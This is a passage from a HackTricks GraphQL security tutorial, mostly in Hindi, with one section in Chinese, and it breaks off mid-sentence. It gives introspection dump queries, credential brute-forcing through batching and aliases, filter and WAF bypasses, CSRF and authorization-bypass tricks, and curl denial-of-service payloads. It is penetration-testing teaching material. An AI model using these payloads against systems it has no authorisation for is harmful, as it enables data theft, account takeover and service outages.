GraphQL
Reading time: 35 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Introduction
GraphQL को REST API के लिए एक प्रभावी विकल्प के रूप में हाइलाइट किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को एकल अनुरोध के माध्यम से लाने की अनुमति देता है। यह सरलता डेवलपर्स के लिए लाभकारी है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
GraphQL और सुरक्षा
नई तकनीकों के आगमन के साथ, जिसमें GraphQL भी शामिल है, नई सुरक्षा कमजोरियाँ भी उभरती हैं। एक महत्वपूर्ण बिंदु यह है कि GraphQL में डिफ़ॉल्ट रूप से प्रमाणीकरण तंत्र शामिल नहीं है। ऐसे सुरक्षा उपायों को लागू करना डेवलपर्स की जिम्मेदारी है। उचित प्रमाणीकरण के बिना, GraphQL एंडपॉइंट्स अनधिकृत उपयोगकर्ताओं के लिए संवेदनशील जानकारी को उजागर कर सकते हैं, जो एक महत्वपूर्ण सुरक्षा जोखिम पैदा करता है।
डायरेक्टरी ब्रूट फोर्स हमले और GraphQL
खुले GraphQL उदाहरणों की पहचान करने के लिए, डायरेक्टरी ब्रूट फोर्स हमलों में विशिष्ट पथों को शामिल करने की सिफारिश की जाती है। ये पथ हैं:
/graphql
/graphiql
/graphql.php
/graphql/console
/api
/api/graphql
/graphql/api
/graphql/graphql
खुले GraphQL उदाहरणों की पहचान करने से समर्थित क्वेरीज़ की जांच करने की अनुमति मिलती है। यह एंडपॉइंट के माध्यम से उपलब्ध डेटा को समझने के लिए महत्वपूर्ण है। GraphQL की अंतर्दृष्टि प्रणाली इसे इस प्रकार से सुविधाजनक बनाती है कि यह एक स्कीमा द्वारा समर्थित क्वेरीज़ का विवरण देती है। इस पर अधिक जानकारी के लिए, GraphQL दस्तावेज़ में अंतर्दृष्टि पर देखें: GraphQL: A query language for APIs.
फिंगरप्रिंट
उपकरण graphw00f यह पहचानने में सक्षम है कि किसी सर्वर में कौन सा GraphQL इंजन उपयोग किया जा रहा है और फिर सुरक्षा ऑडिटर के लिए कुछ सहायक जानकारी प्रिंट करता है।
यूनिवर्सल क्वेरीज़
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक यूनिवर्सल क्वेरी, query{__typename}
, भेजी जा सकती है। यदि प्रतिक्रिया में {"data": {"__typename": "Query"}}
शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के __typename
फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
query{__typename}
Basic Enumeration
Graphql आमतौर पर GET, POST (x-www-form-urlencoded) और POST(json) का समर्थन करता है। हालांकि सुरक्षा के लिए केवल json की अनुमति देना अनुशंसित है ताकि CSRF हमलों को रोका जा सके।
Introspection
Schema जानकारी खोजने के लिए introspection का उपयोग करने के लिए, __schema
फ़ील्ड को क्वेरी करें। यह फ़ील्ड सभी क्वेरियों के रूट प्रकार पर उपलब्ध है।
query={__schema{types{name,fields{name}}}}
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग में हैं:
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
त्रुटियाँ
यह जानना दिलचस्प है कि क्या त्रुटियाँ दिखाई जाएँगी क्योंकि वे उपयोगी जानकारी में योगदान करेंगी।
?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}
इंट्रोस्पेक्शन के माध्यम से डेटाबेस स्कीमा की गणना करें
tip
यदि इंट्रोस्पेक्शन सक्षम है लेकिन उपरोक्त क्वेरी नहीं चलती है, तो क्वेरी संरचना से onOperation
, onFragment
, और onField
निर्देशों को हटाने का प्रयास करें।
#Full introspection query
query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation #Often needs to be deleted to run query
onFragment #Often needs to be deleted to run query
onField #Often needs to be deleted to run query
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
इनलाइन इंट्रोस्पेक्शन क्वेरी:
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट के नाम, पैरामीटर, प्रकार...) को डंप करेगी।
यदि introspection सक्षम है, तो आप GraphQL Voyager का उपयोग करके GUI में सभी विकल्प देख सकते हैं।
क्वेरी करना
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए कुछ मान निकालने की कोशिश करते हैं।
introspection में आप यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "queryType" को "Query" कहा जाता है और "Query" ऑब्जेक्ट के फ़ील्ड में से एक "flags" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
ध्यान दें कि क्वेरी का प्रकार "flags" है "Flags" और यह ऑब्जेक्ट नीचे परिभाषित है:
आप देख सकते हैं कि "Flags" ऑब्जेक्ट name और value से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:
query={flags{name, value}}
ध्यान दें कि यदि क्वेरी करने के लिए ऑब्जेक्ट एक प्राइमिटिव टाइप है जैसे स्ट्रिंग जैसा कि निम्नलिखित उदाहरण में है
आप इसे बस इस तरह क्वेरी कर सकते हैं:
query = { hiddenFlags }
एक अन्य उदाहरण में जहाँ "Query" प्रकार वस्तु के अंदर 2 वस्तुएँ थीं: "user" और "users".
यदि इन वस्तुओं को खोजने के लिए किसी तर्क की आवश्यकता नहीं है, तो आप उनसे सभी जानकारी प्राप्त कर सकते हैं बस आपके द्वारा मांगी गई डेटा के लिए। इस उदाहरण में इंटरनेट से आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
हालांकि, इस उदाहरण में यदि आप ऐसा करने की कोशिश करते हैं तो आपको यह त्रुटि मिलती है:
ऐसा लगता है कि यह किसी तरह "uid" तर्क का उपयोग करके खोज करेगा जो Int प्रकार का है।
खैर, हम पहले से ही जानते थे कि, Basic Enumeration अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "user" के पास arg "uid" Int प्रकार का था।
तो, कुछ हल्की uid ब्रूटफोर्स करते हुए मैंने पाया कि uid=1 पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:
query={user(uid:1){user,password}}
ध्यान दें कि मैंने खोजा कि मैं पैरामीटर "user" और "password" के लिए पूछ सकता हूँ क्योंकि यदि मैं कुछ ऐसा देखने की कोशिश करता हूँ जो मौजूद नहीं है (query={user(uid:1){noExists}}
) तो मुझे यह त्रुटि मिलती है:
और enumeration phase के दौरान मैंने खोजा कि "dbuser" वस्तु के पास "user" और "password" के रूप में फ़ील्ड थे।
Query string dump trick (धन्यवाद @BinaryShadow_)
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: query={theusers(description: ""){username,password}}
और आप खाली स्ट्रिंग के लिए खोज करते हैं तो यह सभी डेटा डंप करेगा। (ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "theusers" को "description" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं)।
Searching
इस सेटअप में, एक database में व्यक्तियाँ और फिल्में होती हैं। व्यक्तियाँ को उनके ईमेल और नाम द्वारा पहचाना जाता है; फिल्में उनके नाम और रेटिंग द्वारा। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और उनके पास फिल्में भी हो सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
आप व्यक्तियों को नाम द्वारा खोज सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
}
}
आप व्यक्तियों को नाम द्वारा खोज सकते हैं और उनके सदस्यता प्राप्त फिल्में प्राप्त कर सकते हैं:
{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}
ध्यान दें कि व्यक्ति के subscribedMovies
का name
प्राप्त करने के लिए कैसे संकेत दिया गया है।
आप एक साथ कई वस्तुओं की खोज भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r
या यहां तक कि उपनामों का उपयोग करके कई विभिन्न वस्तुओं के संबंध:
{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}
Mutations
म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।
इंट्रोस्पेक्शन में आप घोषित म्यूटेशन पा सकते हैं। निम्नलिखित छवि में "MutationType" को "Mutation" कहा जाता है और "Mutation" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "addPerson"):
इस सेटअप में, एक डेटाबेस में व्यक्तियाँ और फिल्में होती हैं। व्यक्तियाँ को उनके ईमेल और नाम से पहचाना जाता है; फिल्में उनके नाम और रेटिंग से। व्यक्तियाँ एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्मों का भी मालिकाना रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।
डेटाबेस के भीतर नई फिल्मों को बनाने के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को addMovie
कहा जाता है):
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}
नोट करें कि कैसे दोनों मान और डेटा के प्रकार को क्वेरी में दर्शाया गया है।
इसके अतिरिक्त, डेटाबेस एक mutation ऑपरेशन का समर्थन करता है, जिसका नाम addPerson
है, जो persons के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा friends और movies के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}
Directive Overloading
जैसा कि इस रिपोर्ट में वर्णित एक कमजोरियों में में समझाया गया है, एक directive overloading का मतलब है कि एक directive को लाखों बार कॉल करना ताकि सर्वर ऑपरेशनों को बर्बाद करे जब तक कि इसे DoS करना संभव न हो।
Batching brute-force in 1 API request
यह जानकारी https://lab.wallarm.com/graphql-batching-attack/ से ली गई थी।
GraphQL API के माध्यम से विभिन्न क्रेडेंशियल्स के साथ कई क्वेरीज़ को एक साथ भेजकर प्रमाणीकरण करना। यह एक क्लासिक ब्रूट फोर्स हमला है, लेकिन अब HTTP अनुरोध प्रति एक से अधिक लॉगिन/पासवर्ड जोड़ी भेजना संभव है क्योंकि GraphQL बैचिंग सुविधा है। यह दृष्टिकोण बाहरी दर निगरानी अनुप्रयोगों को यह सोचने के लिए धोखा देगा कि सब कुछ ठीक है और कोई ब्रूट-फोर्सिंग बॉट पासवर्ड अनुमान लगाने की कोशिश नहीं कर रहा है।
नीचे आप एक एप्लिकेशन प्रमाणीकरण अनुरोध का सबसे सरल प्रदर्शन देख सकते हैं, जिसमें एक समय में 3 विभिन्न ईमेल/पासवर्ड जोड़ी हैं। स्पष्ट रूप से, एक ही अनुरोध में हजारों भेजना संभव है:
जैसा कि हम प्रतिक्रिया स्क्रीनशॉट से देख सकते हैं, पहले और तीसरे अनुरोध ने null लौटाया और error अनुभाग में संबंधित जानकारी को दर्शाया। दूसरी म्यूटेशन में सही प्रमाणीकरण डेटा था और प्रतिक्रिया में सही प्रमाणीकरण सत्र टोकन है।
GraphQL Without Introspection
越来越多的 graphql 端点正在禁用 introspection。然而,当收到意外请求时,graphql 抛出的错误足以让像 clairvoyance 这样的工具重建大部分架构。
此外,Burp Suite 扩展 GraphQuail 扩展 观察通过 Burp 的 GraphQL API 请求 并 构建 一个内部 GraphQL 架构,每当它看到新的查询时。它还可以为 GraphiQL 和 Voyager 暴露架构。当它收到 introspection 查询时,扩展返回一个假响应。因此,GraphQuail 显示所有可用于 API 的查询、参数和字段。有关更多信息,请 查看此处。
一个不错的 wordlist 来发现 GraphQL 实体可以在这里找到。
Bypassing GraphQL introspection defences
API 中对 introspection 查询的限制可以通过在 __schema
关键字后插入 特殊字符 来绕过。此方法利用了开发人员在正则表达式模式中的常见疏忽,这些模式旨在通过关注 __schema
关键字来阻止 introspection。通过添加 GraphQL 忽略但可能未在正则表达式中考虑的字符,如 空格、换行符和逗号,可以绕过限制。例如,带有换行符的 introspection 查询可能会绕过此类防御:
# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}
यदि असफल रहें, तो वैकल्पिक अनुरोध विधियों पर विचार करें, जैसे GET अनुरोध या POST x-www-form-urlencoded
के साथ, क्योंकि प्रतिबंध केवल POST अनुरोधों पर लागू हो सकते हैं।
वेबसॉकेट्स का प्रयास करें
जैसा कि इस वार्ता में उल्लेख किया गया है, जांचें कि क्या WebSockets के माध्यम से graphQL से कनेक्ट करना संभव हो सकता है क्योंकि यह आपको संभावित WAF को बायपास करने की अनुमति दे सकता है और वेबसॉकेट संचार को graphQL के स्कीमा को लीक करने के लिए बना सकता है:
ws = new WebSocket("wss://target/graphql", "graphql-ws")
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`,
}
var graphqlMsg = {
type: "GQL.START",
id: "1",
payload: GQL_CALL,
}
ws.send(JSON.stringify(graphqlMsg))
}
खुली GraphQL संरचनाओं का पता लगाना
जब अंतर्दृष्टि अक्षम होती है, तो JavaScript पुस्तकालयों में प्रीलोडेड क्वेरीज़ के लिए वेबसाइट के स्रोत कोड की जांच करना एक उपयोगी रणनीति है। इन क्वेरीज़ को डेवलपर टूल्स में Sources
टैब का उपयोग करके पाया जा सकता है, जो API के स्कीमा के बारे में जानकारी प्रदान करता है और संभावित रूप से खुली संवेदनशील क्वेरीज़ को उजागर करता है। डेवलपर टूल्स में खोजने के लिए कमांड हैं:
Inspect/Sources/"Search all files"
file:* mutation
file:* query
CSRF in GraphQL
यदि आप नहीं जानते कि CSRF क्या है, तो निम्नलिखित पृष्ठ पढ़ें:
CSRF (Cross Site Request Forgery)
वहाँ आपको कई GraphQL एंडपॉइंट मिलेंगे जो CSRF टोकन के बिना कॉन्फ़िगर किए गए हैं।
ध्यान दें कि GraphQL अनुरोध आमतौर पर POST अनुरोधों के माध्यम से भेजे जाते हैं, जिसमें Content-Type application/json
होता है।
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
हालांकि, अधिकांश GraphQL एंडपॉइंट भी form-urlencoded
POST अनुरोधों का समर्थन करते हैं:
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना preflight requests के भेजे जाते हैं, यह संभव है कि परिवर्तन किए जाएं GraphQL में CSRF का दुरुपयोग करके।
हालांकि, ध्यान दें कि Chrome के samesite
ध्वज का नया डिफ़ॉल्ट कुकी मान Lax
है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।
ध्यान दें कि आमतौर पर query request को भी GET request के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
इसके अलावा, XS-Search हमले का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
अधिक जानकारी के लिए यहां मूल पोस्ट देखें original post here।
GraphQL में क्रॉस-साइट वेब्सॉकेट हाइजैकिंग
GraphQL का दुरुपयोग करते हुए CRSF कमजोरियों के समान, क्रॉस-साइट वेब्सॉकेट हाइजैकिंग करना भी संभव है ताकि GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
अधिक जानकारी के लिए देखें:
GraphQL में प्राधिकरण
एंडपॉइंट पर परिभाषित कई GraphQL कार्य केवल अनुरोधकर्ता के प्रमाणीकरण की जांच कर सकते हैं लेकिन प्राधिकरण की नहीं।
क्वेरी इनपुट वेरिएबल को संशोधित करने से संवेदनशील खाता विवरण leaked हो सकते हैं।
म्यूटेशन अन्य खाता डेटा को संशोधित करने का प्रयास करते समय खाता अधिग्रहण का कारण बन सकता है।
{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}
GraphQL में प्राधिकरण को बायपास करना
Chaining queries एक कमजोर प्रमाणीकरण प्रणाली को बायपास कर सकता है।
नीचे दिए गए उदाहरण में आप देख सकते हैं कि ऑपरेशन "forgotPassword" है और इसे केवल इसके साथ जुड़े forgotPassword क्वेरी को निष्पादित करना चाहिए। इसे अंत में एक क्वेरी जोड़कर बायपास किया जा सकता है, इस मामले में हम "register" और एक उपयोगकर्ता चर जोड़ते हैं ताकि प्रणाली एक नए उपयोगकर्ता के रूप में पंजीकरण कर सके।
GraphQL में उपनामों का उपयोग करके दर सीमाओं को बायपास करना
GraphQL में, उपनाम एक शक्तिशाली विशेषता हैं जो API अनुरोध करते समय गुणों के नाम को स्पष्ट रूप से निर्दिष्ट करने की अनुमति देती हैं। यह क्षमता एकल अनुरोध के भीतर एक ही प्रकार की वस्तुओं के कई उदाहरणों को पुनः प्राप्त करने के लिए विशेष रूप से उपयोगी है। उपनामों का उपयोग उन सीमाओं को पार करने के लिए किया जा सकता है जो GraphQL वस्तुओं को एक ही नाम के साथ कई गुण रखने से रोकती हैं।
GraphQL उपनामों की विस्तृत समझ के लिए, निम्नलिखित संसाधन की सिफारिश की जाती है: Aliases।
हालांकि उपनामों का प्राथमिक उद्देश्य कई API कॉल की आवश्यकता को कम करना है, एक अनपेक्षित उपयोग का मामला पहचाना गया है जहां उपनामों का उपयोग GraphQL एंडपॉइंट पर ब्रूट फोर्स हमलों को निष्पादित करने के लिए किया जा सकता है। यह संभव है क्योंकि कुछ एंडपॉइंट्स को दर सीमित करने वालों द्वारा संरक्षित किया गया है जो ब्रूट फोर्स हमलों को रोकने के लिए HTTP अनुरोधों की संख्या को सीमित करते हैं। हालाँकि, ये दर सीमित करने वाले प्रत्येक अनुरोध के भीतर संचालन की संख्या को ध्यान में नहीं रख सकते हैं। चूंकि उपनाम एक ही HTTP अनुरोध में कई क्वेरी शामिल करने की अनुमति देते हैं, वे ऐसी दर सीमित करने वाली उपायों को बायपास कर सकते हैं।
नीचे दिए गए उदाहरण पर विचार करें, जो दिखाता है कि उपनामित क्वेरी का उपयोग स्टोर डिस्काउंट कोड की वैधता की पुष्टि करने के लिए कैसे किया जा सकता है। यह विधि दर सीमित करने को बायपास कर सकती है क्योंकि यह कई क्वेरियों को एक HTTP अनुरोध में संकलित करती है, संभावित रूप से कई डिस्काउंट कोड की एक साथ पुष्टि करने की अनुमति देती है।
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}
DoS in GraphQL
Alias Overloading
Alias Overloading एक GraphQL सुरक्षा कमजोरी है जहाँ हमलावर एक ही फ़ील्ड के लिए कई उपनामों के साथ एक क्वेरी को ओवरलोड करते हैं, जिससे बैकएंड रिसोल्वर उस फ़ील्ड को बार-बार निष्पादित करता है। इससे सर्वर संसाधनों पर दबाव पड़ सकता है, जिससे Denial of Service (DoS) हो सकता है। उदाहरण के लिए, नीचे दी गई क्वेरी में, एक ही फ़ील्ड (expensiveField
) को उपनामों का उपयोग करके 1,000 बार अनुरोध किया गया है, जिससे बैकएंड को इसे 1,000 बार गणना करने के लिए मजबूर किया जाता है, जो CPU या मेमोरी को संभावित रूप से समाप्त कर सकता है:
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "Content-Type: application/json" \
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
'https://example.com/graphql'
इससे निपटने के लिए, संसाधन दुरुपयोग को रोकने के लिए उपनाम गणना सीमाएँ, क्वेरी जटिलता विश्लेषण, या दर सीमित करना लागू करें।
एरे-आधारित क्वेरी बैचिंग
एरे-आधारित क्वेरी बैचिंग एक कमजोरियों है जहाँ एक GraphQL API एकल अनुरोध में कई क्वेरियों को बैच करने की अनुमति देती है, जिससे एक हमलावर को एक साथ बड़ी संख्या में क्वेरियाँ भेजने की अनुमति मिलती है। यह सभी बैच की गई क्वेरियों को समानांतर में निष्पादित करके बैकएंड को अभिभूत कर सकता है, अत्यधिक संसाधनों (CPU, मेमोरी, डेटाबेस कनेक्शन) का उपभोग कर सकता है और संभावित रूप से सेवा का अस्वीकरण (DoS) का कारण बन सकता है। यदि बैच में क्वेरियों की संख्या पर कोई सीमा नहीं है, तो एक हमलावर इसका लाभ उठाकर सेवा की उपलब्धता को कम कर सकता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
'https://example.com/graphql'
इस उदाहरण में, 10 विभिन्न क्वेरीज़ को एक अनुरोध में समेकित किया गया है, जिससे सर्वर को सभी को एक साथ निष्पादित करने के लिए मजबूर किया जाता है। यदि बड़े बैच आकार या गणनात्मक रूप से महंगे क्वेरीज़ के साथ इसका शोषण किया जाए, तो यह सर्वर को ओवरलोड कर सकता है।
निर्देश ओवरलोडिंग कमजोरियाँ
निर्देश ओवरलोडिंग तब होती है जब एक GraphQL सर्वर अत्यधिक, दोहराए गए निर्देशों के साथ क्वेरीज़ की अनुमति देता है। यह सर्वर के पार्सर और निष्पादक को अभिभूत कर सकता है, विशेष रूप से यदि सर्वर बार-बार समान निर्देश लॉजिक को संसाधित करता है। उचित सत्यापन या सीमाओं के बिना, एक हमलावर इसे शोषित कर सकता है, एक क्वेरी तैयार करके जिसमें कई दोहराए गए निर्देश होते हैं, जिससे उच्च गणनात्मक या मेमोरी उपयोग को ट्रिगर किया जा सके, जो सेवा से इनकार (DoS) की स्थिति का कारण बनता है।
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" \
-H "Content-Type: application/json" \
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
'https://example.com/graphql'
ध्यान दें कि पिछले उदाहरण में @aa
